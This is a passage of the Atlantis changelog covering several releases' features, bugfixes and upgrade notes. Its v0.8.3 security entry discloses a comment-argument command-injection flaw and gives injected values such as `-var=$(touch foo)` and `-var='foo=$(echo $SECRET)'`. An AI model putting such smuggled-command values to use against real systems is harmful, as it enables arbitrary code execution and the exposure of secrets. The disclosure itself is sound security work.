0.12.7 in our base Docker image. * Support for Terragrunt > 0.19.0 ([#748](https://github.com/runatlantis/atlantis/pull/748)) * The directory where Atlantis downloads Terraform binaries is now in the PATH of custom workflows ([#678](https://github.com/runatlantis/atlantis/pull/678)) * `dumb-init` and `gosu` upgraded in our Docker image ([#730](https://github.com/runatlantis/atlantis/pull/730)) ## Bugfixes * The Terraform version specified in `terraform_version` is now downloaded even if there are only custom steps (Fixes [#675](https://github.com/runatlantis/atlantis/issues/675)) ## Backwards Incompatibilities / Notes: * If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag then the default version of Terraform will now be 0.12.7. Simply set the above flag to your desired default version to avoid any issues. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.9.0/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.9.0/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.9.0/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.9.0/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.9.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/) ## Diff v0.8.3..v0.9.0 https://github.com/runatlantis/atlantis/compare/v0.8.3...v0.9.0 # v0.8.3 ## Description This release contains an important security fix in addition to some fixes and changes for Terraform Cloud/Enterprise users. It's highly recommended that all Atlantis users upgrade to this release. See the Security section below for more details. ## Security * Additional arguments specified in Atlantis comments, ex. `atlantis plan -- -var=foo=bar` are now escaped before being appended to the relevant Terraform command. (Fixes [#697](https://github.com/runatlantis/atlantis/pull/697)). Previously, a comment like `atlantis plan -- -var=$(touch foo)` would execute the `touch foo` command because the extra arguments weren't being escaped properly. This means anyone with comment access to an Atlantis repo could execute arbitrary code. Because of the severity of this issue, all users should upgrade to this version. * Upgrade to latest version of Alpine Linux in our Docker image to mitigate vulnerabilities found in libssh2. (Fixes [#687](https://github.com/runatlantis/atlantis/issues/687)) ## Features * Upgrade Terraform to 0.12.3 in our base Docker image. * Additional arguments specified in Atlantis comments, ex. `atlantis plan -- -var=foo=bar` are now available in custom run steps as the `COMMENT_ARGS` environment variable. (Fixes [#670](https://github.com/runatlantis/atlantis/issues/670)) * A new flag `--tfe-hostname` is available for specifying a Terraform Enterprise private installation's hostname when using the remote backend integration. ([#706](https://github.com/runatlantis/atlantis/pull/706)) ## Bugfixes * Parse Bitbucket Cloud pull request rejected events properly. (Fixes [#676](https://github.com/runatlantis/atlantis/issues/676)) * Terraform >= 0.12.0 works with Terraform Cloud/Enterprise remote operations. (Fixes [#704](https://github.com/runatlantis/atlantis/issues/704)) ## Backwards Incompatibilities / Notes: * If you were previously relying on being able to execute code in the additional arguments of comments, ex. `atlantis plan -- -var='foo=$(echo $SECRET)'` this is no longer possible. Instead you will need to write a custom workflow with a custom step or the extra_args config. * If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag then the default version of Terraform will now be 0.12.3. Simply set the above flag to your desired default version to avoid any issues. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.3/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.3/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.3/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.3/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.8.3`](https://hub.docker.com/r/runatlantis/atlantis/tags/) ## Diff v0.8.2..v0.8.3 https://github.com/runatlantis/atlantis/compare/v0.8.2...v0.8.3 # v0.8.2 ## Description Small bugfix release for Bitbucket Cloud users running with "require mergeable". ## Features * Update default Terraform version to 0.12.1. * Include directory in Slack message ([#660](https://github.com/runatlantis/atlantis/issues/660)). ## Bugfixes * Atlantis would not allow applies for all Bitbucket Cloud pull requests if running with "require mergeable" even if the pull request *was* mergeable due to an API change. (Fixes [#672](https://github.com/runatlantis/atlantis/issues/672)) ## Backwards Incompatibilities / Notes: * If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag then the default version of Terraform will now be 0.12.1. Simply set the above flag to your desired default version to avoid any issues. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.2/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.2/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.2/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.2/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.8.2`](https://hub.docker.com/r/runatlantis/atlantis/tags/) ## Diff v0.8.1..v0.8.2 https://github.com/runatlantis/atlantis/compare/v0.8.1...v0.8.2 # v0.8.1 ## Description Small bugfix release for Bitbucket Cloud users running with require approval. ## Features None ## Bugfixes * Atlantis would panic when checking if pull requests were approved for Bitbucket Cloud due to an API change. (Fixes [#652](https://github.com/runatlantis/atlantis/issues/652)) ## Backwards Incompatibilities / Notes: None ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.1/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.1/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.1/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.1/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.8.1`](https://hub.docker.com/r/runatlantis/atlantis/tags/) ## Diff v0.8.0..v0.8.1 https://github.com/runatlantis/atlantis/compare/v0.8.0...v0.8.1 # v0.8.0 ## Description This release upgrades the default version of Terraform to 0.12. If you're running Atlantis with the `--default-tf-version` flag set (which you always should) then this won't affect you at all. ## Features * Upgrade default Terraform version to 0.12 * Add new `--disable-apply-all` flag that disables running `atlantis apply` without any flags. ([#645](https://github.com/runatlantis/atlantis/pull/645)) ## Bugfixes None ## Backwards Incompatibilities / Notes: * If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag then the default version of Terraform will now be 0.12. Simply set the above flag to your desired default version of Terraform and 0.12 won't be used. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.0/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.0/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.0/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.0/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.8.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/) ## Diff v0.7.2..v0.8.0 https://github.com/runatlantis/atlantis/compare/v0.7.2...v0.8.0 # v0.7.2 ## Description Small release containing an important security fix and some bugfixes. ## Features None ## Bugfixes * Atlantis would post its Git credentials as pull request comment and in logs if the git clone failed. (Fixes [#615](https://github.com/runatlantis/atlantis/issues/615)) * Atlantis would comment the same output twice during errors of custom run steps. (Fixes [#519](https://github.com/runatlantis/atlantis/issues/519)) * `atlantis testdrive` had unreadable output on solarized terminals. (Fixes [#575](https://github.com/runatlantis/atlantis/issues/575)) ## Backwards Incompatibilities / Notes: None ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.7.2/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.7.2/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.7.2/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.7.2/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.7.2`](https://hub.docker.com/r/runatlantis/atlantis/tags/) ## Diff v0.7.1..v0.7.2 https://github.com/runatlantis/atlantis/compare/v0.7.1...v0.7.2 # v0.7.1 ## Description Small bugfix release to fix an issue when using `--checkout-strategy=merge`. ## Features * `PROJECT_NAME` is now available as an environment variable to custom `run` steps. ([#578](https://github.com/runatlantis/atlantis/pull/578)) ## Bugfixes * Fix deleting unapplied plans when `--checkout-strategy=merge` is used. (Fixes [#582](https://github.com/runatlantis/atlantis/issues/582)) ## Backwards Incompatibilities / Notes: None ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.7.1/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.7.1/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.7.1/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.7.1/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.7.1`](https://hub.docker.com/r/runatlantis/atlantis/tags/) ## Diff v0.7.0..v0.7.1 https://github.com/runatlantis/atlantis/compare/v0.7.0...v0.7.1 # v0.7.0 ## Description This release implements Server-Side Repo Config which allows users to write `atlantis.yaml`-style config on the server rather than in individual repos. The Server Side config also allow Atlantis operators to control what individual repos can do in their `atlantis.yaml` files. Read [docs](https://www.runatlantis.io/docs/server-side-repo-config.html) for more details. ## Features * Server-Side Repo Config. Read [docs](https://www.runatlantis.io/docs/server-side-repo-config.html) and [use cases](https://www.runatlantis.io/docs/server-side-repo-config.html#use-cases) for full details. ([#47](https://github.com/runatlantis/atlantis/issues/47)) * New flag `atlantis server` flag `--repo-config` for specifying the repo config file . * New flag `--repo-config-json` for specifying the repo config as a JSON string instead of having to write a config file to disk. * All repos can now create `atlantis.yaml` files to configure their projects, however by default, those files can't create custom workflows or set Apply Requirements. * New version `3` of `atlantis.yaml` fixes a small issue with how we were parsing custom `run` steps. Previously we were doing additional parsing which caused some users to have to add extra escaping to their commands. Now this is no longer required. See the Backwards Compatibility section for more details. ## Bugfixes * Fix bug where running `atlantis apply` to apply all outstanding plans wouldn't work if you had more than one project defined in the exact same directory and workspace. (Fixes [#365](https://github.com/runatlantis/atlantis/issues/365)) ## Backwards Incompatibilities / Notes: * The server-side config changes are fully backwards compatible. The biggest difference is that all repos can now create `atlantis.yaml` files, but without being able to create custom workflows or set apply requirements. This will allow users to configure their projects, workspaces and terraform versions at a repo level without enabling those repos to run custom code or circumvent apply requirements set server-side. * `atlantis.yaml` has a new version `3`. If you continue to use version `2`, you will experience no changes. If you want to upgrade to version `3`, then if you're not using any custom `run` steps in your workflows you can upgrade the version number without additional changes. If you are using `run` steps, check our [upgrade guide](https://www.runatlantis.io/docs/upgrading-atlantis-yaml.html#upgrading-from-v2-to-v3) to see if you need to make any changes before upgrading. * Flags `--require-approval`, `--require-mergeable` and `--allow-repo-config` are deprecated in favour of creating a server-side repo config file that applies the same configuration. If you run `atlantis server` with those flags, a deprecation warning will be printed telling you what server-side config is recommended instead. * If you have projects configured with the same directory and workspace (which means you're probably using the `-backend-config` flag) **and** their names contain `/`'s, then you'll have to re-run `atlantis plan` after upgrading if you had any unapplied plans. An example of what config would mean you need to re-plan: ```yaml projects: - name: name/with/slashes dir: samedir workflow: a - name: another/with/slashes dir: samedir workflow: b a: plan: steps: - run: rm -rf .terraform - init: extra_args: [-backend-config=staging.backend.tfvars] - plan b: plan: steps: - run: rm -rf .terraform - init: extra_args: [-backend-config=staging.backend.tfvars] - plan ``` ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.7.0/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.7.0/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.7.0/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.7.0/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.7.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/) ## Diff v0.6.0..v0.7.0 https://github.com/runatlantis/atlantis/compare/v0.6.0...v0.7.0 # v0.6.0 ## Description This release introduces a new flag `--default-tf-version=` that allows users to set the version of Terraform that Atlantis defaults to. Atlantis will automatically download that version on startup so users don't need to build their own custom Docker images. Atlantis will also now automatically download any Terraform version specified in `atlantis.yaml`: ```yaml version: 2 projects: - dir: . terraform_version: v0.12.0-beta1 # Will be downloaded automatically. ``` ## Features * New flag: `--default-tf-version=` will cause Atlantis to automatically download and use that version of Terraform by default. Atlantis will also automatically download terraform versions specified in `atlantis.yaml` via the `terraform_version` config key. ([#538](https://github.com/runatlantis/atlantis/pull/538)) * New status check names mean that the Atlantis checks will appear together (at least on GitHub). ([#545](https://github.com/runatlantis/atlantis/pull/545)) * Upgrade base Docker image to use Alpine 3.9. Alpine 3.9 mitigates [CVE-2018-19486](https://nvd.nist.gov/vuln/detail/CVE-2018-19486). ([#541](https://github.com/runatlantis/atlantis/pull/541)) ## Bugfixes None ## Backwards Incompatibilities / Notes: * Our Docker image `runatlantis/atlantis` has Terraform `v0.11.13` now. If you use the new flag `--default-tf-version=` then you won't be affected by this change (nor for subsequent version upgrades). * The Atlantis status checks have been renamed from what they looked like in `v0.5.*`. Previously the names were: `plan/atlantis` and `apply/atlantis`. Now the names are `atlantis/plan` and `atlantis/apply`. This change will only affect you if you're requiring those status checks to pass via a setting in your Git host (ex. via GitHub protected branches). If so, you'll need to change your settings to require the new names to pass and un-require the old names. > If you were on a version lower than `v0.5.*` then read the backwards compatibility notes for release `0.5.0`. **NOTE from the maintainer**: I take backwards compatibility seriously and I apologize that the status checks are changing again so soon after the 0.5 release also changed them. I know that if you have many repos and require the checks to pass that it is a large task to change them all again. In this case, I decided that the tradeoff was worth it because the 0.5 release has only been out for a couple of weeks so hopefully not everyone has upgraded to it. The new check names makes them a lot easier to read (at least on GitHub) because they appear next to each other now due to alphabetical sorting. In this case I felt like it was better to get this change done as soon as possible rather than having this annoying UX issue stay around forever. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.6.0/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.6.0/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.6.0/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.6.0/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.6.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/) ## Diff v0.5.1..v0.6.0 https://github.com/runatlantis/atlantis/compare/v0.5.1...v0.6.0 # v0.5.1 ## Description This is a bugfix release to fix a bug where Atlantis was replying to comments that weren't directed to it. Diff: https://github.com/runatlantis/atlantis/compare/v0.5.0...v0.5.1 ## Features * On Bitbucket Cloud and Server, Atlantis now responds if it's invoked with the username it's running under, ex. @my-bb-atlantis-user. This is the same functionality as GitHub and GitLab. ([#534](https://github.com/runatlantis/atlantis/pull/534)) ## Bugfixes * Atlantis ignore comments that aren't addressed to it. (Fixes [#533](https://github.com/runatlantis/atlantis/issues/533)) ## Backwards Incompatibilities / Notes: * On Bitbucket Cloud and Server, Atlantis now responds if it's invoked with the username it's running under, ex. @my-bb-atlantis-user. This is the same functionality as GitHub and GitLab. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.5.1/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.5.1/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.5.1/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.5.1/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.5.1`](https://hub.docker.com/r/runatlantis/atlantis/tags/) # v0.5.0 ## Description This release has two big features: New Status Checks and Terraform Enterprise Integration. **New Status Checks:** The new status checks split the old status check into `plan` and `apply` phases. Each check now tracks the status of each project modified in the pull request. For example if two projects are modified, the `plan` check might read: > 2/2 projects planned successfully. And the `apply` check might read: > 0/2 projects applied successfully. Users can now use their Git host's settings to require these checks pass before a pull request is merged and be confident that all changes have been applied (for example). **Terraform Enterprise Integration:** Atlantis now integrates with the Terraform Enterprise (TFE) via the [remote backend](https://www.terraform.io/docs/backends/types/remote.html). Atlantis will run `terraform` commands as usual, however those commands will actually be executed *remotely* in Terraform Enterprise. Using Atlantis with Terraform Enterprise gives you access to TFE features like: * Real-time streaming output * Ability to cancel in-progress commands * Secret variables * [Sentinel](https://www.hashicorp.com/sentinel) Without having to change your pull request workflow. Diff: https://github.com/runatlantis/atlantis/compare/v0.4.15...v0.5.0 ## Features * Split single status check into one for `plan` and one for `apply` (see above). * Support using Atlantis with Terraform Enterprise via [remote operations](https://www.terraform.io/docs/backends/operations.html) (see above). * Add `USER_NAME` environment variable for custom steps to use. ([#489](https://github.com/runatlantis/atlantis/pull/489)) * Support Bitbucket Cloud's upcoming API deprecations. ([#502](https://github.com/runatlantis/atlantis/pull/502)) * Support Bitbucket Server hosted at a basepath, ex. `bitbucket.mycompany.com/pathprefix` (Fixes [#508](https://github.com/runatlantis/atlantis/issues/508)) ## Bugfixes * Allow Bitbucket Server diagnostics checks. (Fixes [#474](https://github.com/runatlantis/atlantis/issues/474)) * Fix automerge for Bitbucket Server. (Fixes [#479](https://github.com/runatlantis/atlantis/issues/479)) * Run `terraform init` with `-upgrade`. (Fixes [#443](https://github.com/runatlantis/atlantis/issues/443)) * If a pull request is deleted in Bitbucket Server, delete locks. (Fixes [#498](https://github.com/runatlantis/atlantis/issues/498)) * Support directories with spaces, ex `atlantis plan -d 'dir with spaces'`. (Fixes [#423](https://github.com/runatlantis/atlantis/issues/423)) * Ignore Terragrunt cache directories that were causing duplicate applies. (Fixes [#487](https://github.com/runatlantis/atlantis/issues/487)) * Fix `atlantis testdrive` for latest version of ngrok. ## Backwards Incompatibilities / Notes: * **New Status Checks** - If you have settings in your Git host that require the Atlantis commit status check to be in a certain condition, you will need to modify that setting as follows: Previously, Atlantis set a single check with the name `Atlantis`. Now there are two checks with the names `plan/atlantis` and `apply/atlantis`. If you had previously required the `Atlantis` check to pass, you should now require both the `plan/atlantis` and `apply/atlantis` checks to pass. The behaviour has also changed. Previously, the single Atlantis check would represent the status of the **last run command**. For example, if I ran `atlantis plan` and it failed, the check would be in a *Failed* state. If I ran `atlantis apply -p project1` and it succeeded, then the check would be in a *Success* state, regardless of the status of other projects in the pull request. Now, each check represents the plan/apply status of **all** projects modified in the pull request. For example, say I open up a pull request that modifies two projects, one in directory `proj1` and the other in `proj2`. If autoplanning is enabled, and both plans succeed, then there will be a single status check: * `plan/atlantis - 2/2 projects planned successfully` (success) If I run `atlantis apply -d proj1`, then Atlantis will set a pending apply check: * `plan/atlantis - 2/2 projects planned successfully` (success) * `apply/atlantis - 1/2 projects applied successfully` (pending) If I apply the final project with `atlantis apply -d proj2`, then my checks will look like: * `plan/atlantis - 2/2 projects planned successfully` (success) * `apply/atlantis - 2/2 projects applied successfully` (success) * `terraform init` is now run with `-upgrade=true`. Previously, it used Terraform's default setting which was `false`. This means that `terraform` will always update to the latest version of plugins and modules. For example, if you're using a module source of ```hcl source = "git::https://example.com/vpc.git?ref=master" ``` then `terraform init` will now always use the version on `master` whereas previously, if you had already run `atlantis plan` before `master` was updated, a new `atlantis plan` wouldn't pull the latest changes and would just use the cached version. This is unlikely to cause any issues because most users already expected Atlantis to use the most up-to-date version of modules/plugins within the set constraints. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.5.0/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.5.0/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.5.0/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.5.0/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.5.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/) # v0.4.15 ## Description This is a bugfix release containing an important fix to how Atlantis executes Terraform. A bug was introduced in v0.4.14 that causes Atlantis to hang indefinitely when executing Terraform when there is a lot of output from Terraform. In addition, there's a fix to automerge when you require rebasing or commit squashing in GitHub and a fix for the mergeability check if you're requiring the Atlantis status to pass in GitHub. Diff: https://github.com/runatlantis/atlantis/compare/v0.4.14...v0.4.15 ## Features None – this is a bugfix release. ## Bugfixes * Atlantis hangs on large plans. (Fixes [#474](https://github.com/runatlantis/atlantis/issues/474)) * Automerge now works on GitHub if you require a rebase or squash merge. ([#466](https://github.com/runatlantis/atlantis/pull/466)) * Automerge now works on Bitbucket if previously you were getting XSRF errors. (Fixes [#465](https://github.com/runatlantis/atlantis/issues/465)) * Requiring `mergeable` now works on GitHub if you are also requiring the Atlantis status to pass before merging. (Fixes [#453](https://github.com/runatlantis/atlantis/issues/453)) ## Backwards Incompatibilities / Notes: None ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.15/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.15/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.15/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.15/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.4.15`](https://hub.docker.com/r/runatlantis/atlantis/tags/) # v0.4.14 ## Description **WARNING:** This release contains a bug that causes Terraform execution to stall on large infrastructures. Please use v0.4.15 instead. This release contains two big new features: Automerge and Checkout Strategy. Automerge is a much asked for feature that allows Atlantis to automatically merge your pull requests if all plans have been applied successfully. It can be enabled via the `--automerge` flag, or via an `atlantis.yaml` setting: ```yaml version: 2 automerge: true projects: - ... ``` Checkout Strategy allows you to choose if Atlantis checks out the exact branch from the pull request or what the destination branch will look like once the pull request is merged. You can choose your checkout strategy via the `--checkout-strategy` flag which supports `branch` (the default) or `merge`. Diff: https://github.com/runatlantis/atlantis/compare/v0.4.13...v0.4.14 ## Features * Can now be configured to **automatically merge pull requests** after all plans have been applied. See https://www.runatlantis.io/docs/automerging.html. (Fixes [#186](https://github.com/runatlantis/atlantis/issues/186)) * New `--checkout-strategy` flag which supports checking out the code as it will look once the pull request was merged. Previously we only supported checking out the pull request branch which might be out of date with the destination branch and so cause Terraform to delete resources that have already been applied. See https://www.runatlantis.io/docs/checkout-strategy.html. (Fixes [#35](https://github.com/runatlantis/atlantis/issues/35) * Support Terraform 0.12 by version detection and then changing how Atlantis runs its Terraform commands. ([#419](https://github.com/runatlantis/atlantis/pull/419)) * New `--tfe-token` flag to support using Terraform Enterprise's Free Remote State Storage. ([#419](https://github.com/runatlantis/atlantis/pull/419)) ## Bugfixes * Run plan in directory when file is moved. (Fixes [#413](https://github.com/runatlantis/atlantis/issues/413)) * Fix bug where when Terraform crashed, Atlantis would hang indefinitely. ([#421](https://github.com/runatlantis/atlantis/pull/421)) ## Backwards Incompatibilities / Notes: None ## Downloads **The release downloads have been deleted because this release contains a critical bug** ## Docker **The release downloads have been deleted because this release contains a critical bug** # v0.4.13 ## Description This release is focused on quick-wins, bugfixes and one new feature that allows users to require pull requests be "mergeable", before allowing for `atlantis apply`. The mergeable apply requirement is very useful for GitHub users where it allows them to require pull requests be approved by specific users or require certain status checks to pass. See https://www.runatlantis.io/docs/apply-requirements.html#mergeable for more information. Diff: https://github.com/runatlantis/atlantis/compare/v0.4.12...v0.4.13 ## Features * Introduce a new (optional) `mergeable` apply requirement that requires pull requests to be mergeable prior to allowing `apply` to run. (Fixes [#43](https://github.com/runatlantis/atlantis/issues/43)) * If users have workspaces configured for a directory via an `atlantis.yaml` file, only allow commands to be run on those workspaces. All commands attempted to be run on different workspaces will error out. For example, if I have an `atlantis.yaml` file: ```yaml version: 2 projects: - dir: mydir workspace: default - dir: mydir workspace: staging ``` Then I can run `atlantis apply -d mydir -w default` and `atlantis apply -d mydir -w staging` but I will receive an error if I run `atlantis apply -d mydir -w somethingelse`. * If users are setting the `name` key for their projects in `atlantis.yaml`, then include the project name in the comment output so it's easier to identify which plan/apply output is for which project. (Fixes [#353](https://github.com/runatlantis/atlantis/issues/353))) * Bump the Terraform version in the Docker image to `0.11.11`. * Tweak logging to add timezone to the timestamp and make the output more readable. ([#402](https://github.com/runatlantis/atlantis/pull/402)) * Warn users if running `atlantis apply -- -target=myresource` because `-target` can only be specified during `atlantis plan`. (Fixes [#399](https://github.com/runatlantis/atlantis/issues/399)) ## Bugfixes * If `terraform plan` returns an error, print the error to the pull request. ([#381](https://github.com/runatlantis/atlantis/pull/381)) * Split Bitbucket Server comments into multiple comments if over the max size. (Fixes [#280](https://github.com/runatlantis/atlantis/issues/280)) * Fix issue where if users specified `--gitlab-hostname` without a scheme then Atlantis wouldn't parse the URL correctly. ([#377](https://github.com/runatlantis/atlantis/issues/377)) * Give better error message if GitLab users are commenting on commits instead of a merge request. (Fixes [#150](https://github.com/runatlantis/atlantis/issues/150), [#390](https://github.com/runatlantis/atlantis/issues/390)) * If an error occurs early in request processing, comment that error back on the pull request. Previously, we *were* commenting back on errors but not for errors very early in the processing. (Fixes [#398](https://github.com/runatlantis/atlantis/issues/398)) ## Backwards Incompatibilities / Notes: * The version of Terraform installed in the `runatlantis/atlantis` Docker image is now `0.11.11`. Previously it was `0.11.10`. * If you are a) using an `atlantis.yaml` file and b) defining Terraform workspaces and c) running plan and apply against workspaces that **were not** defined in the `atlantis.yaml` file, then this no longer works. You will now need to define all the workspaces in the `atlantis.yaml` file. For example, say you had the following config: ```yaml version: 2 projects: - dir: mydir workspace: production ``` And you used to run: ``` atlantis plan -d mydir -w anotherworkspace atlantis apply -d mydir -w anotherworkspace ``` For this to work now, you need to add the `anotherworkspace` workspace to your `atlantis.yaml` file: ```yaml version: 2 projects: - dir: mydir workspace: production - dir: mydir workspace: anotherworkspace ``` ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.13/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.13/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.13/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.13/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.4.13`](https://hub.docker.com/r/runatlantis/atlantis/tags/) # v0.4.12 ## Description Small feature and bug fix release. If you're using GitLab <11.1 then your comment formatting is fixed! Diff: https://github.com/runatlantis/atlantis/compare/v0.4.11...v0.4.12 ## Features - Atlantis can now be hosted behind a path-based router and its UI will still render correctly. For example, you could host atlantis at mydomain.com/mypath, then run `atlantis server --atlantis-url https://mydomain.com/mypath` and when atlantis renders its UI, all the URLs will have the `/mypath` prefix so the UI renders properly. (Fixes [#213](https://github.com/runatlantis/atlantis/issues/213)) - Log warning if GitLab hostname isn't resolvable. (Fixes [#359](https://github.com/runatlantis/atlantis/issues/359)) - Support running our official Docker image `runatlantis/atlantis` on OpenShift. OpenShift runs images with random uids so we needed to build in support for that. (Fixes [#345](https://github.com/runatlantis/atlantis/issues/345)) ## Bugfixes - If the output is too long for a single GitHub comment, maintain formatting when splitting into multiple comments. (Fixes [#111](https://github.com/runatlantis/atlantis/issues/111)) - Fix bug with using the pagination API in BitBucket. ([#354](https://github.com/runatlantis/atlantis/pull/354)) - If using GitLab < 11.1 then don't use expandable markdown comments. (Fixes [#315](https://github.com/runatlantis/atlantis/issues/315)) - Fix output from custom steps that came before the plan step from being removed. ([#367](https://github.com/runatlantis/atlantis/pull/367)) ## Backwards Incompatibilities / Notes: We made [changes](https://github.com/runatlantis/atlantis/pull/346) to the base image (`runatlantis/atlantis-base`) that `runatlantis/atlantis` is built off of. These changes **should not** affect your running of atlantis unless you're building your own custom images and were relying on specific user permissions. Even then we don't anticipate any problems. These are the changes in detail: 1. Previously, the permissions of `/home/atlantis` were: ```bash $ ls -la /home/atlantis/ drwxr-sr-x 2 atlantis atlantis 4096 Sep 13 22:49 . ``` Now they are: ```bash $ ls -la /home/atlantis/ drwxrwxr-x 2 atlantis root 4096 Nov 28 21:22 . ``` * The directory is now owned by the `root` group. * Its group permissions now include `w` and `x`. This was needed because OpenShift runs Docker images as random uid's under the root group and so now those random uid's can use `/home/atlantis` as their data directory. 1. Previously, the `atlantis` user was only part of its own group: ```bash $ gosu atlantis sh $ whoami atlantis $ groups atlantis ``` Now it's also part of the `root` group: ```bash $ gosu atlantis sh $ groups atlantis root ``` 1. Previously, the permissions for `/etc/passwd` were: ```bash $ ls -la /etc/passwd -rw-r--r-- 1 root root 1284 Sep 13 22:49 /etc/passwd ``` Now the permissions are: ```bash $ ls -la /etc/passwd -rw-rw-r-- 1 root root 1284 Nov 28 21:22 